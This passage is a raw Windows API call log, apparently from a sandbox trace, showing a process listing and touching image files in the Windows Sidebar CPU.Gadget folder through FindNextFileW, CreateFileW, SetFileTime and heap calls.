ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.577] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.577] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.577] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.577] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.578] NtClose (Handle=0x174) returned 0x0 [0080.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0080.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229308 [0080.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.581] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.581] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0080.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0080.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5850 [0080.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245520 [0080.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.583] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x0, dwReserved1=0x0, cFileName="back_lrg.png", cAlternateFileName="")) returned 1 [0080.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5870 [0080.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245838 [0080.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.584] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290fa853, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290fa853, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial.png", cAlternateFileName="")) returned 1 [0080.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5890 [0080.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245940 [0080.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.585] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot.png", cAlternateFileName="")) returned 1 [0080.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f58b0 [0080.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245a48 [0080.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.587] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot_lrg.png", cAlternateFileName="")) returned 1 [0080.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f58d0 [0080.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245b50 [0080.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6000) returned 0x12312f0 [0080.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.588] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84291931, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84291931, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg.png", cAlternateFileName="")) returned 1 [0080.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f58f0 [0080.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245c58 [0080.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.590] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84291931, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84291931, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291209b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc03, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg_sml.png", cAlternateFileName="")) returned 1 [0080.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5910 [0080.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245d60 [0080.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8426b7d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8426b7d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291209b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_sml.png", cAlternateFileName="")) returned 1 [0080.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5930 [0080.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245e68 [0080.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.592] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.png", cAlternateFileName="")) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5950 [0080.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245f70 [0080.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84303d48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84303d48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 1 [0080.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5970 [0080.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246078 [0080.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.595] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84303d48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84303d48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 0 [0080.595] GetLastError () returned 0x12 [0080.595] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.595] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0080.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x0, dwReserved1=0x0, cFileName="back_lrg.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290fa853, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290fa853, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot_lrg.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84291931, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84291931, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84291931, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84291931, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291209b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc03, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg_sml.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8426b7d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8426b7d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291209b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_sml.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84303d48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84303d48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 1 [0080.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84303d48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84303d48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 0 [0080.596] GetLastError () returned 0x12 [0080.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229308) returned 1 [0080.596] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.597] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.598] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.598] GetLastError () returned 0x12 [0080.598] 